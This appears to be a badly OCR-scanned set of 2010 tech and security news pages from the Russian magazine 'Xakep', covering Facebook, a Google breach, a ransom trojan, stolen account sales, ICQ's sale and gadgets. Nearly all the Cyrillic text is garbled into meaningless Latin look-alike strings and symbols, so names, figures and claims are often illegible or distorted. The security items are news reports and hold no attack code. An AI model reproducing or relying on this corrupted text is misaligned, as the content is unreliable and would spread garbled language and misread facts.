C HaWlI1MVl Mo61t1JlbHbllvllt1 oneparopavu. B yaCTHOCHl o6CY>K,lJ,aflVlCb aoripocu onnaru ycnyr Face aooka nocpeACTBoM SMS. BpeM" noxa>KeT, 4TO 1t13 seero sror o Bbltli,o,eT, a no ka Mbl HanOMHIt1M, I1TO KOMnaHVlI1 MySpace TO>Ke nuranecs OTKpblTb B PaCOHIJ CBOtl! OCPV1C, HO iIlX HaYVlHaHVle no repneno cpV1acl<O. Hy 1:1, KOHeYHO, OyeHb I!1HTepeCHa peaKLI,V151 H3 see 3TO Hawero ncpororo «BKoHTaKTe» c era 68 MI!1nJll!10HaMI!1 y-ier-

HblX 3anVlceill, KOTOPblili noxa y,lJ,ep>KVlB3eT nanbMY nep seucr aa cpep,vl COlJ,VlanbHbIX ceTew POCCVlVl Vl cTpaH CHi. KaK Vl3BeCTHO, «BKoHTal<Te» s:lSJls:leTCs:I ¢aKTVlyeCKV1M KJlOHOM Facebooka MHoroneTHelll p,aSHOCHl,

no KpailiHe Mepe, eCIlVl roaop-rn, o,lJ,v13aillHe_ B TeXHOJlOrW-leCI(OM nnaue Facebaok ywen nanexo anepen. TaK, Hf HeAaBHe~ KOH¢epeH~M" f8 6blJla npencraaneua TeXHOJlOrVls:l OpenGraph, n03BOJls:llOw,as:l COlJ,VlaJlVl- 3V1POS3Tb.nfo6ble cawTbl, no,o,cTpaVlSa5'lCb non nOJlb30BaTeJls:l ua OCHOBe em npO¢l!1Ils:l Vl cnuc ca ,lJ,pY3eill B Facebook. npl!14eM 3TO paborae r,

ga>Ke eCJl\ll TOT Hd cajite B nepBblil! pas. TeXHOJlOrV151 npuume Ha CMeHY Facebook Connect [V1cnoIlb30BaJlCs:I,lJ,O nocner.ue ro BpeMeHI!1 cOTHeili MI!1JlJll!10HOS nOJlb30BaTeJlei:i CeTI!1). HOBa5'l CI!1CTeMaI!1HTerpau.1!11!1 cajirce C Facebook rioasonvrr VlHTepHeT-pecypca M nOJlY4aTb ,lJ,OcTyn KO sceM o6w,e,lJ,OcTynHbIM ,lJ,3HHbIM Vl CBs:l3s:1M nOJlb30B3Tem.J B pe>KI!1Me peanbHoro speMeHVlI!1, B OTJlI!1YVle OT Facebook Connect, coxpaH5Hb 3Ty l!lHcpopMaLJ,VlIO [paHee CpOK ee xp a-tenaa Ha CTOPOHHViX pecypcax 6blJl orpaHVi4eH 24 "aCaM") Ox, reneps "H¢OpMa~MIO B npoov ne np"AeTC" npOn"CblBaTb C oc060tIJ OCTOPO>KHOCTblO I

BlU-RAY DISC ASSOCIATION C006LlH1JlA. ~TO CKOPO EMKOCTb «O,llHOPA30BbIX» BLU-RAY ,ll~CKOB YBEJl~~~TCH,110 1 00 ~ 128 r6. A nEPE3An~CbIBAEMbIX,llO J 00 rs.

YTE~KA B GOOGLE? Coogle

nOCJle 3VlMHero B3JlOMa psna KpynHblx sananuux KOMnaHlttill, B YIttCJlO KOTOPblX BXO,lJ,Vlna Vl Google, npOWJlO Y>Ke HeMaJlO BpeMeHI!1, a HOBbie nonpofiHOCTVI,o,O CV1X nap npO,lJ,OJl>KaIOT BCnJlbIBaTb. HanOMHVlM, YTO B ,.D,eKa6pe Google 51K06bl nO,.D,Beprcs:! 3TaKe co CTOPOHbl Hel!13BeCTHbiX xakepos. BnpOlJeM, npencraaurer a noncxoaoro ruraura n04Tl-1 cpasy 3a51BVlJlVl, YTO, no VlX,ll,aHHbIM, B3nOM 6b1Jl3aKa3- HOtIJ, 1!1 CIle,.D,bl era senyr B KVlTal~. 3TO Itt nOCJlY>KVlJlO np1!141!1HO~ nocnenyouiero rpouxoro KOH¢mtKTa

C BJlaCT)1MVl nO,.D,He6ecHoill. Teneps xe Vl3,.D,aHVle

The New York Times coobuiaer, YTO, COrJlaCHO nOJlY4eHHotIJ VlMV1 VlHcpopMau,VlVl, 80 BpeM5'l TOil! arakn X3KepaM y,o,aJlOCb yaecr» Y Google cneuuanu-yo npory non Ha33aHVleM Gaia, KOTopas:! KOHTPOJlI-1POaana nccryn K6oJlbWI!1HCTsycepBVlcoB KOMnaHV1V1

B Google Try "H¢OpMa~",o KOMMeHT"pOBaTb OTKa3aJll!1Cb, TOJlbKO B OYepe,o,Hoil! pas non-epkuyJlVl, YTO HVlKaKvlX JlVl4HbIX,lJ,aHHbIX nonssoearenef xakepa« 3anonYYVlTb He ynanocs. 3Ta V1H¢OpMaLJ,l!1s:!

HeCKOJlbKO HaCTOpa>KI-1BaeT, oc06eHHO B caere roro, YTO nccnezn-ne HeCKOJlbKO He,lJ,enb co seero MVlpa nocrynarot co06w,eHI!1s:1 or ooocnoxocnuux none- 30BaTenetIJ GMail, 3aMeTVlBWl-1X,YTO C VlX 51W,lt1K0§l paccunaercs ~naM, a S norax CPl-1ryPVlpylOT JleBble

) P-aApeca eTpaHHo01 3nMAeM"" nonseprnncs Bce· JlI!1HYKCOVl,o,bl, BVlH,ll,y3$iTH VI KVl , MaKOBO,[lbl; CXO,ll,H2)1 KapTVlHa uabrnonacrcs V1 no 6pay3epaM - nOJlHblili 6YKeT, Ha nlO6001 BKye. 3T" C06bITM" Google noka TO>K2 HVlKaK He KOMMeHTVlpyeT

O(Jl~U~AnbHbIH APX~B TB~TOB ~EnOBE~ECTBA

Ha ,lJ,H)1X MelT P3(IMOH,lJ" )J,VlpeKTop no KOMMYHI!1KaLJ,I!1)1M 51tt6Jll!10TeKVI KOHrpecca, ncsenan MVlPYOTOM,YTO CKOPO

B BaWVlHITOHe nonYYVlTnOCTos:lHHYIO nponncky apxua cepauca Twitter. 3TO COBceM He uryrxa, see cepbe3HOBceTBV1TbI4eIlOBe4eCTBa, HaYV1Hali C MapTa 2006 rona. r.exau.ue B o6w,eM ,lJ,ocryne Vl He 3aw,Vlw,eHHble HaCTpoV1- KaMI!1 npVlBaTHOCTVl OTHblHe 6Y,lJ,yrxpaHVlTbCs:I B LJ,VlCPPOBOM BI!1,[1e 8 KpynHeillweill6Vl6nl!10TeKe Ml!1pa. YYI!1TbIBas:l, YTO KOJll-14eCTBOTBVlTOB VlCYVlCJl)1eTC)1 MVlnJlVlap,QaMVll!l C Ka>K,o,blM ,o,HeM TonbKoyseflVlYV1BaeTCs:I, 06beM VI HcpopMau,IttVl npocro aXOBbitIJ, Ho KpynHetIJweili Ha 3eMJle 6V16JiVloTeKe He npVlBbll(aTb- 3,lJ,eCb Y>Ke Vl6e3 roro xpaHVlTC}120Tepa6aill-

TOB "H¢OpMa~"" [pa3Mep plain-rexcra']. a PYKOBOACTBO 33Be,QeHl-1}1 VlcKpeHHeYBepeHo, YTO He KHVlraMVl e,o,I!1HbIMV1 >KVlB yenOBeK. B 51!16JlVlOTeKe Kourpecca CYVlTalOT, 4TO MHO>KeCTBD 3anV1ce~ B Twitter npe,ll,cTaBJls:!IOT\I1CTOp\l1YeCKVltIJ VlHTepec, VlB 3TOM C HVlMI!1Tpy,ll,HO He COrnaCI!1TbCs:I, YYVlruaas. 4TO aKKaYHTbl 8 Twitter eCTbY nOJlVlTI!1KOB Vl naxe y npesnne-rrcs. y 38e3,[1 uroy-bus-reca V1 y ca-tux pa3JlVlYHbiX ,o,emeneill KYJlbTYPbl VlVlCKyccTBa. Conepxaurueca BapXI!1Be TBVlTbl6YAYT nocryruu, CllYCTTI nOJIrO,lJ,a nocne ny6JlVlKau,VlVI, Itt VlCnOJlb30SaTb I!1X MO>KHO 6y,o,eT ,ll,JlSi HeKoMMepLfeCKItlX l!lCCne,o,oBaHVltii, ny6Jll!lYHoro nokasa 8 caMO~ 61tt6IlVlOTeKe I!1JlI:1 >Ke AIls:! coXpaHeHlt1Si

~ 008

XAKEP 06 /137/10

TPOHHEU-AHT~n~PAT

.IJ,aBHo Vl38eCTHO, -rro «CBSHO MeCTO nycro He 6bIBaeT», TaK 4TO, nO>KanyVi, TpOSiH, KOTOPbli;J cnexyrurpyer HeneranbHOCTblO VlcnOflb30BaHVls:J ToppeHTOB, naxe KaKTO nonsanecxancs. Aa6bl paasecra p,OBep4i11Bb1X nonsaoaareneti Ha ,[l,eHbrVl, Tpoiii AewCTByeT no cnegYfOw,eiil cxej-ie: ncpuau ucs HB KOMnblOTepe VI Haiil,lJ,S1 torrent-cpaVlJlbl, npore BbinneBblBaeTOKHO C npeAynpe>KAeHl!1eM 0 HapyweH\I1Vl KonVlpaiha, 6JlOKVlPY51 OtcTeMy. 3ana,LJ,Hble noneaosare.ur. <oropue V1 TaK CKOPO 6YAYT noxpusarsca XOJlO,fJ,HbIM nOTDM OTOAHOroTOJlbKO ynoMVlHaHl:11i OToppeHTax, Y>Ke 4YBCTBYIOTce6)'1 HeKOMCfJOpTHO, a rposueu He OCTaBJlSiI1 VIM Bbl6opa, nocunaer VlX Ha BblrJlS1)J,S1UJ,II1V! seCbMa ocpV1l(VlaJlbHO cavlTwww.icpp-online.com. Pecypc, nOHSHHoe neno, nO,JJ,,lJ,eJlbHbIVl, XOTs:! opraanaauns ICPP V1 cyuiecrayer Ha caMOM Aene. K TOMY >Ke ca~1T neCTpV1T CTpaWHbIMV1 a66peBV1aTYpaMV1 RIAA. MPAA V1 The Copyright Alliance, korops.e roxe OyeHb V13BeCTHbl B Aene BOWHbl

C KOHTpacpaKToM. K 3TOMY MOMeHTY Ps:!AOBOW noru-aoeareru., AOJl>KHO 6blTb, Y>Ke npefis.saer B yxace: V11jT-TO eMY npennara or aannar-rts eurrpao», r onyn+o HanOMV1Hal1, -rro Mepa H3Ka33HV1s:! sa TaKV1e npaaouapyure+ura B xY,ll,WeM cny-iae MO>KeTCOCTaBnI1TbAO 5 ner JlV1WeHVl)i CBo60Abi V1.nV1 $250000. CYMMa «urrpaoa». TeM BpeMeHeM, paBHs:!eTCI1 npnuepuo $400. EC.nV1 f03ep ace ew,e He y6e>K,ll,eH

V1 oTKa3b1BaeTCs:! nnaTV1Tb, XvlTpal1 npora pyraercs OKOWKOM npeAynpe>KAeHVls:!, rAe yrpoxaer C006W,V1Tb 0 He.nera.nbHbIX,ll,eI1HV111 nonsaoearens B COOTBeTCTsyouu-e oprauu. KaK V1MeHHOTpOI1H norianaer Ha MawVlHY, V1 YbeMY>Ke nepy npVlHaA.ne>KV1T3Ta KpeaTV1BHa51 noneruca - HeVl3BeCTHO.

ronnAH.QUbl H3 HOMnAHHH TIOBE COCTABHnH TOn 513bIHOB nporPAMMHPOBAHHH. HA l-oM MECTE OHA3AnC5I C. JAVA 3AH5In 2-E MECTO. A C++ COXPAHHn cseo n03HUHKl HA 3-E~ CTPOHE PE~THHrA.

FOR THE HORD!

lea npO.llAJ1~!

Panocrs B CTaH reWMepOB V1 nOKnOHHV1KOB xopowero 3BYKa npuaecna KOMnaHV1s:1 Creative, 06b"B"B 0 sunycxe HOBblX rapH"1YP Sound BlasterWorld of War craft Headset" Sound Blaster World of War craft Wireless Headset [npoaonnas "6eCnpOBOAHa" BepC"" COOTBeTcTBeHHol. lib Ha3BaHV1s:1 Y>Ke nOHI1THO, YTO HOBVlHKVI B nepsyo o-repens npV1,ll,YTcl1 no nyuie nOKIlOHHV1KaM o,ll,HoCi Vl3 caMblX ycnewHblx M MORPG Ha HaweCi nnauere - World of Warcraft. rOVl3aCiH rapHV1TYP aceuerio coorasrcteyer nrposoii BCeJleHHOW WoW, a TaK>Ke npenocrasnaer urpoky B03MO>KHOCTb 0603HaYV1Tb CBOIO npVlHaAne>KHOCTb KAnb)=lHcy VlJlV1 Opne C ncvouuso CMeHHblX HaKna,ll,OK V1 sbl6paTb OAV1H Vl3 16 MVlJlJlV10HOB nporpauuupyeMblX L\BeTOS nOACBeTKV1. lib TeXHo.norV1yeCKIIIX occbe-n-ocrea ,ll,eBaViCa OTMeTV1M cne,D,YKJw,V1e: nOBblweHHoe /6JlaroAap51 TeXHonorVlVl THX T ruStudio PC] Ka4eCTBO 3BY4aH[I]5=I, OTCOe,ll,V1H)=IeMbIH MV1KpOCPOH npcoeccvoaansuoro ypOBHI1 C cpYHKL\V1eW WYMonO,ll,aBJleHV1)=1 Silencer, TeXHOJlOr[l]11 VoiceFX, n03BOJlrlKJl..L\al1 iI13MeHI1Tb ronoc. V1306pa>Ka51 pas+rux nepcoHa>KeVi V1 cyuiecrs World of War craft. An)=l6ecnpOBO,ll,HOH BepcV1V1 HeMaJlOBa>KeH V1 aKKyMynsrcc. KOTOPblW MO>KeT 3aps:!>KaTbcs:! ,D,a>Ke BO speM51 V1CnOJlb30BaHV1)=1 ,D,eBailica. B nponaxe rapHV1TYpbl nOrlB51TCs:! Y>Ke B Mae no opV1eHTVlpOBOYHOVI L\eHe 6899 py6. sa npOBO.£l,HYKJ V1 9299 py6. aa 6ecnpoBoAHYIO sepcuu.

Heko ropo e spe.M)=I Ha3aA I(QpnOpaL\V1)=1 AOL OKOHYaTeJlbHO onpenennnacs co Cn"CKOM npeTeHAeHToB Ha noxynxy ICO; "M" cranu ¢OHA Digital Sky Technologies [BnaAenb~bl Mail.ru!' XOnA"Hr

«npOcpMe.£l,Vla» /sna,IJ,e.nbL\bl Me,ll,V1a-xo.n,ll,V1Hra Rambler Medial Vl KV1TaVlCKa51 KOMnaHVl51 Tencent [BJlaAeneL\ KpynHeiliwero B MV1pe MeCCeH,IJ,>Kepa QQ, Ybs=l OCHOBHa)=l aYAV1TopV111 cccpenoro-reua B KV1Tael. HanoMHVlM, 4TO peweHV1e npcnan, nonyn51pHblVi MeCCeHA>Kep Bbl3peno B AOL ew,e B KOHLJ,e npowno rO,IJ,a, V1 C Taro car-tore speMeHV1 ,IJ,ns:! «ACbKV1» nO,D,bICKV1BanV1 nokvnarena. CaMoVi America Online

~ 010

B 1998 rOAY ICO obournacs 60nee 4eM B 400 MWnn"OHOB AonnapoB. 28 anper s ¢OHA DST lOp"" M"nbHepa, 'p"rop"" ClJ"Hrepa" An"wepa YCMaHOBa Bce-TaKV1 nor-oeopunact, c aMepV1KaHcKoH AOL 0 aerxvne y nee cepauca MrHOBeHHblX coo6w,eHVlw ICO aa $187,5 MnH. 18 MV1nnV1OHOB PYCCK0513bIYHbIX nonb30BaTeneVi - nony-raerca $10 aa nV1L\O :1

XAKEP 06 /137/10

nononHEHHE B CTPOKJ MOH06nO~HbIX nK

8 KOHlI,e anpens KOMnaHVlS1 HP o6bS18\1lna 0 nonOflHeH\I1111 CeMeYlCTSa HaCTOflbHblX KOMnblOTepoB \Il nokasana M!J1py HOBVlHKII1 HPAll-in-One 200. Csexue MOH06JlOKlI1 cyurecraeu-ro noncryr mop,S1M, KOTOPblX BOJlHyeT

aor poc 3KDHOMl!1Vl MeCTa 6e3 norepu MOUJ,HOCHl - OHlIl 06bep,lIIHS1fOT AD 13 Ka6eneiil 8 O,D,HOM, npn 3TOM obecne-uiaaa (TOJlb >Ke BblCOKYIO npOVl3BO,lJ,vneJlbHOCTb KaK III n K B rpa,IJ.lt1LJ,1I10HHbIX tower-kysosax. All-in-One 200 KOMnneKTYIOTCs:I H D-AVlcnneeM At.1aroHaJlblO 21.5" co cserOAVlO,l],HOYl noncserxoa. 3KpaH MO>KHO HaKnOH}lTb non yrnou AO 30 rpanycos 111 cBo6oAHO nOBOpa4\11SaTb B ruofiyro CTOpOHy: npa >Ken3HVlVI MOHo6nOKTaK)Ke MO>KHO aaxpenwrs Ha CTeHe. KaK yxe 6blJlO CKa3aHO asuue. BMeCTO 06blYHOro Kfly6Ka nposonos xAll-in-One 200 HlHeTCS1 mlJWb Ka5enb nltlTaHltI51, HO 3Tltl CKpoMHbie ra5ap"Tbl Ta"T B ce5e npoueccop Intel Pentium E5400 C TaKTOBOCi 4aCTOTOCi 2.7 IILJ" 41"6 oneparuaaoti naMIHltl DDR3, ltIHTerplIlpoBaHHYto rpaonxy Intel GMAX4500HD" >KeCTK"" A"CK 05beMOM 500 ,5. C"[TeMa TaK>Ke OCHaLL\eHa BCTpoeHHblMltI Be6-KaMepoCi III MlttKPOCPOHOM, 6eCnpOBO,lJ,HblM anar repov 802.11 b/g/n" "HTerp"pOBaHHbIM" cTepeO-A"HaM"KaM" B KOMnJ1eKT BXO,lJ,51T becnposonaee MblWb III «nasuerypa. WeHa ,lJ,eaaCica COCTaSltlT npltlMepHO 699 espo, ltI HaLJltlHaTb ltICKaTb ero B nponaxe MO>KHO C ltIIOH51 rexyuiero rona.

«MEnKOMHrKHE» PAnOPTYIOT: 3A nOnrO,llA HMH 6blnO npO,llAHO 60nEE 100 MnH. nHUEH3HH WINDOWS 7.

KynHn XAP.n, KHHO B nO.nAPOK

Se,g't.~

HeO>KVlAaHHOe Vl3BeCTVle npnu.no OT ronm1BYACKOro ruraura Paramount Digital Entertainment Vl KOMnaHVlltt Seagate - OHVl o6b51BVlnVl 0 Ha4ane COTpYAH"yeCTSa, 5narOAap" KOTOPOMY >KeCTK"e A"CK" cep"" FreeAgent Go 6YAyrnpoAaBaTbc51 c yxe 3am1CaHHblMltl Ha 60p-rycpVlnbMaMltI. Pa3YMeeTcA, ece coaepu.e-n-o nerans-o. O,lJ,HaKO He sa «cnacutio». Paramount Pictures nonennnacs C «>Kene3HbIM» npoVl3BoAlilTeneM 21-oll1l(ltlHoneHTO~t HO 6ecnnaTHblM 5YAeTTOnbKo OA"H ¢"nbM - Star Trek (20091. YT05bl nocncrpere ocransuere 20, npnnercs pacxoure.urrscs --a 10-15 6aKcoB, aaperucrpaposaTbC51 ua catrre Seagate ltl npaofipecru TaM cneu,VlanbHbl~ KOp,,lJ,Oc-ryna, Bcero nOA KYlHO Hd 500-n1ra6a~THoM BVlHTe BblAeneHO 50 1"6, ltI ace aarpyxenuue ryp,a CPVlJ1bMbl MOryr nOXBaCTaTbC51 OVO-Ka4eCTBOM!l1 ORM-3aw,VlToCi . .o.3~lB MocnVl, BJ.1LJ,e-npe3Vlp,eHTSeagate, ysepser. 4TOTaKOII1 MapKeTVlHroBblCi xon 51Bfl51eTC51 YHIIlKaflbHblM Vl VlHHosau,VlOHHbIM peu.euuev. OTKpbIBalOUJ,ltlM nepep, nOTpe61'1TemlMltl nerKltlill nyrs K nonY4eHVllO pa3J1V14HOrO MYflbTI-1Mep,VlillHoro KOHTeHTa. WeHa MO,lJ,eflltl eMKOCTblO 500 1"6 COCTaSltlT $140.

~HTEPHET-MArA3HH KynHT .nYW~. HE.nOPOrO.

npOCTO OTnVlYHbl~ cnoco6 npoAeMOHCTpltlpOBaTb, 4TO HltlKTO He LJVlTaeTnonb30sareru.ck-tx cornaweHlllill, -auren 6plllTaHCKVlill OHnalllH-Mara3lt1H GameStation. X0351- esa pecypca no-rnxovy ,Il,06aSltlflVl s cornaure-ure cnep,ylOw,Vl~ nyHKT: «Pa3MeUJ,aS1 3aKa3 Ha 3TOM aef-carrre 1 -u-cna 4 MeCS1Ll,a 201 0 rona H.3., Bbl cornauraerecs npeAOCTaBltlTbHaM B03MO>KHOCTb3aS1Bfl51Tb0 HaWIt1X npasax, ce1ll4ac ltl scerna, ua sawy5eccMepTHYIOAYWY, He nonnexauiyio nepenave npyrovy n"ljy. Ecn" Mbl no>KeflaeM eocnonsaoearsca p,aHHoCi S03MO>KHOCTbK), Bbl cornau.aerece OTKa3aTbC51 or aauiea 5eCCMepTH0L1AYWVlltl nlO6blx npeTeH3lo1L1 Ha Hee BTeyeHlt1e 5 [mnJ.1) pa604It1Xp,He~ C MOMeHTa nonY4eHltII1 nltlCbMeHHoroYBeAoMneHVlS1 or qarnesation. co.uk J.1nV1 era aBTOpJ.130BaHHblx npeACTaSltlTefle~». TalOKeyro4H51nocb, 4TO «KOMnauus snpaae aaruefioaaranyury-repea nocna-u-e. COCTOS1LL\ee ltI3 urecrvoyroeux. rop51UJ,VlX nnaMeHeM 6YKB, J.1 npu srou He HeceTHVlKaKoill OTseTCTBeHHOCTJ.13a nospexaenuoe orHeM VlMyw,eCTso»,)J,n51 BHltIMaTenbHblX nonsaoearenen 6blna B03MO>KHOCTbOTKa3aTbCI1 OT npOAa>KV1 AYWltl- P/lS13TOro Hy>KHO 6blflO nepell1TVl no COOTBeTCTSYIOw,eMY flVlHKy.l"fla3acTblM noxynarensu. korops'e 3aMeTV1J1l11 uiyro-rHblC't nyHKT, Mara3ltlH napan KynoH Ha CKVl,Il,Ky S pasuepe 5 CPYHToB.li1ror posurpuura OKa3ancS1 npeAcKa3yeMOneyaJ1eH - caMlIIToro He sega51, CBOIO 6eCCMepTHYfO p,ywynpop,aJ1Vl88% nOKynaTeflelll, TO ecrs n04H17500 -renose«.

~ 012

_':l.~(9Z9) Pla,s:a~on la.:;;

~':;~UlII"9a.

"":;,..,,,"2[,;39 '''''~''I'O,

4«",o,,"t6~1 ~~I!Q" Comf!lf.l0~1':1 CO",O;'. ~:;;;&l Eloa:o.,col8l1 f~m'16~al C.m"I;'~lI.

~~5~~G'"""l1fn

t(lOI·>;9.0S ;:'QOO·ttO~~ 'lO_~O· <~~09

ro)l)u,.,I;""."S 1!l."1"gtl .....

XAKEP 06 /137/10

3AKOHA «06 HHTEPHETE» HE 6ynET. nOKA.

HOBbI" «3aKoH 06 ~HTepHeTe», KOToporo onacencs BeCb pYHeT, OT p~~o Bbl x non b30 satene ~ no KpynHblx IT -KO M na H W ~, npw kasan norro )K"Tb HanoMH"M, 4TO B nexafipe 2009 rona npaBwTenbCTBo nsno nopY4eH"e WeCT" BeAOMCTBaM: M"HKOMCB~3", MBA, IPC6, IPCO, IPCT3K" M"Hf(lCTY. Cornacno 3TOMY nopy4eH"~ np" M"HKOMCB~-

3" 6blna C03AaHa pafiovaa rpynna ~n~ paCCMOTpeH"~ BonpOCOB peryn"pOBaH"~ "HTepHeTa, KOTOPYIO soarnaann AneKCe" Con~aTOB. llpennonaranocs. "TO OHa Ja"MeTC~ pa3pa60TKO" ucacro 3aKOHOnpoerra, KOTOPbl", KaK MHor,e onacaavcs. Mor 6bl cepsesuo Y)KeCTO""Tb WeH3YPY B pyuere. OAHaKO HW 0 KaKOM )KeCTOKOM peryn"pOBaH"" Cer«, KaK OKa3anOCb, pe4" He "AeT, ~a" aoofiure 6blno np"H~TO peureaue 060"T"Cb "MeIOW"MC~ 3aKOHOAaTenbCTBOM - B napnaMeHre v M"HKOMCB~3" pa3pa6aTblBalOTC~ nWWb nOnpaBK" K CYweCTBYIOwe My ~eAepanbHOMY 3aKOHY «06 "H~OpMaw"", wH¢opMawwoHHblX TeXHOnor"~x W 0 3aw"Te "H¢OpMawww». YnpaB"TbC~ co BceM 3TWM rpynna AOn)KHa K OKT~6plO 2010 - B 3aKOHe 1700 pas ynOM"HaeT" cnOBO «~HTepHeT», W"M npe~CTO"T BH"MaTenbHO "3Y""Tb ace 3TW ynoMliIHaHlt15!, paapafioran, nonpaaor, YLjl.1TbIBalOllllt1e cne4!.1~V!Ky "HTepHeTa, "YCTpaH"Tb ace pa3HO"TeH"~

AKKAYHTbl OnTOM, 5 KOnEEK 3A nY~OK

5ecnpeu,e,lJ,eHTHblC1 no MaCWTa6HOCH1 cny- 4ai:1 npOAa>K1-1 B3JlOMaHHbiX Y4eTHbiX sanaceVi COLJ,lt1anbHOtll ceru Facebook o6HapY>KiIlnill cneunanncn; naooparopva iDefense. Ha HeKOM 3aKpblTOM xaKepCKOM cpopYMe (aApee He paarnauraercal OHII1 orucxann napus nog HIt1KOM Kirllos, KOTOPblVi uecneun-o peanu- 30BbiSBn xaxayrsre aKKaYHTbl Facebook no CMeWHO" ueue: $25-45 nonnapos aa 1000 nOr"HoB/napone" lueua aapsupyercs B 3a- 311l01MOCTVl or paavepa naprnu]. Epocoaas CTOl-1MOCTb 06bSKH>=IeTCs:1 04eHb npocrc+ AeJlO 8 TOM, YTO Y xaxepa Ha pykax V1MeeTCR oxono 1,5 MIlH. yrHaHHblX Y4eToK. B iDefense

ysepS1IOT, 4TO nponaxa rakoro «onuvecrea aKKaYHTos - neno HeCJ1bIXaHHoe. Me>KTeM, B nO,lJ,TBep>K,lJ,eHlIIe cyutecrsoaa-uis TaKOf;i 6a3bl caM Kirllos npvaon-rr BHywlIITeJ1bHyKl nonoopky noruuoe/naponea. OTKYAa Y napus B3SUlOCbTaKOe KOJ1V1YeCTBO aKKOB, OCTaeTC$1 J1I11Wb raaars. B03MO>KHO, nerro B ycneuruoa ¢lIIwIIIHroBof;i araxe, B03MO>KHO, B HeKOM ManBape apone nplllcHonaMS1THoro ZeuS. Cneuuua ilretense yraepxnaor. "TO Ha AaHHbltl1 MOMeHT xaxep peannsoean Y>Ke ncpsnka 700Tb1CS14 aopoaaasrx axrayaros (TaK"M 06pa30M, BbIPY"WB He MeHee $17,5 TblCS1ld.

nEPBbl~ POm1K HA YOUTUBE nOHB~1nCH 5 nET HA3A.n.

OHH YXOBHT BCnEB 3A nEP(flOKAPTAMl1

KOMnaHIII$1 Sony o¢lI1u.l!IaJ1bHO 06H1BlIIJla OTOM, 4TO C06ltlpaeTCS1 OKOHyaTeJlbHO OCTaHOBl!ITb BblnYCK rl!l 6 Kl!I X ,a,lIIcKeT3.5··, nOJ1HOCTblO npekparwa ux np0I-13Bo,a,CTBO Y)I(e K MaKl2011 rona. A"CKeTaM CKOPO I!1cnOnHV1TC$130 ne t - MarHlIITHble ,lJ,lIlCKlIl cpopMaTa 3,5gKl"Ma 6bln" paspafioraau CaMO., KOMnaH"e" SonYB AaneKOM 1981 rOAY. 06beM nepaou BepC1!11!1 COCTaSJlS1Jl 720 K"n06a"T (9 CeKTOpoB). 60nee n03AH"" SepCI!1S1I!1Mena o6beM 1440 KIIlJl06aVlTl-1Jll!1 1,4 Mera6a"T (18 CeKTOpOB). "TO" crano

CTaHfJ,apTOM. Ha cero,lJ,H$1wHl!IVI ,lJ,eHb Sony npl!IHa,lJ,lle>KlIIT nOYTl!I70% sroro pblHKa, TaK KaK MHorl!1e np01ll380AI!1Tenl!1 Y>Ke AaBHO npexparuna 8blnYCK fJ,l!ICKeT, a re, KTO ew,e He ycnen, C06l11paIOTC$1 cnenars sro B caMOM 6n")I(a"WeM 6YAYllieM. nOCTaBK" A"CKeT

sa npe,lJ,enbl I1nOH!t1l118 SonYY>Ke OTMeHl!IJl!t1, TaK 4TO rer-eps neno OCTanOCb sa ManblM. npow,a~1Te, A!t1CKeTbl. Mbl6YAeM CKY4aTb!

1!1 yepe3 YTO xe HaM reneps CMOTpeTb Ha 3aTMeHwe? ..

~ 014

XAKEP 06 /137/ 10

30HE .PCIl.nAJH13EllEHbIH CBET

Hy BOT" ace, oprauasauaa ICANN [Internet Corporation for Assigned Namesand Numbersl BblHecna oonunansuoe peureuue. paspeuma PocCI!1I!1 nonb30SaTbCs=I,1J,OMeHOM «.PeD»

1!1 Hill B l1eM ce6e He orkaauaars. 3TO oa- a-raer, 4TO KI!1pl!1nm14eCKOMY I!1Hery - 6blTb ltl3p,paSCTBosaTb, a rajcee 3TO nenaer POCCIIlIO nepBO~ crpaHoill B Ml!1pe, o63ase)J,weVlcs=I C06CTBeHHbiM HaLl,I!10HanbHbiM Kl!1pWnnl!1L.JeCKI!1M ,fl,OMeHOM aepxueovpoaus. nOMl!1MO sroro MVlHKOMCBS13lt1 ccofiuiaer, 4TO

15 anpens COBeT KOOPA"Hal1"OHHOro ueurpa HaLJ,1!10HanbHoro ,IJ,OMeHa ceTV1 V1HTepHeTyrsep,.o,vtn HOBoe llcnoxeHV1e a npt.10pI!1TeTHOV! perVlCTpaLJ,VlI!1 p,OMeHHbIX VlMeH B.D,OMeHe «,PCP»OHO scryn.rr B cuny 12 Ma>=l rekyuier o

raga. HOBoe nonoxeuue npl!13SaHO pacurupnrs cm1COK KaTeropl!1V! nonb30saTeneCi, koropue 6y.o,YTlI1MeTb npaso Ha perwc+patn.uo AD Me HOB B 30He «.POh S npaopureruov nopsnKe. nO)J,aHHbIM ua 21 anpens, B30He «.POh 6blJlO aaperncpnpoaaao y>KE 9936 )J,OMEHOB, 1Il3 KOTOPblX 5% COCTaBV1J1W)J,OMeHbl)J,Jls:J roCY,lJ,apCTBeHHbIX HY)KA· np"Op"TeTHa" perucrpauas 3aBepW"TC" 16 CeHT"6p", u nocne Hee CTapTYeToTKpblTas:J pervcrpauua ,lJ,J1s:J BCeX>KellafOIlJ,WX.

r~~

Adobe

... H H6110KH CBOH 3A6EPHTEI

Me>K,lJ,Y KOMnaHVls:JMVI Adobe VI Apple Y>Ke naauo cyu.ecrsyer HeMalloe KOJ1W.JeCTSO pa3HOrJ1aCIllVl, OCHOBHas:J npVlYIt1Ha KOTOPblX - rexuonorus Flash BeHLJ,OM acevy crana 3anViCb B 6Jlore rJlaBHOrO MeHe,lJ,>Kepa no C8\i3s:JM C pa3pa6oT41t1KaMVI nJlaTCpOpMbl Flash, MawKa LJaM6epca.

B csoeM nOCTe OH C006W,VlJ1, 4TO S 6JlVl>KaWWeM 6Y,lJ,yw,eM Adobe nJlaHVlpyeT npeKpaTVlTb TpaTV1Tb 4eJlOSe4eCKV1e V1 cpVlHaHcosble pecypcbl ua nozuiep)KaH"e TeXHOnOr"" Flash An" iPhone. B naxere Adobe Creative Suite 5 B03MO>KHOCTb KOHSepTaLJ,VlV1 Flash-Koga B npVlllO>KeHVls:J )J,lls:J iPhone noxa COXpaHIt1TCs:J, HO 4TO 6Y)J,eT nansu.e - He eOBceM nOHs:JTHO.

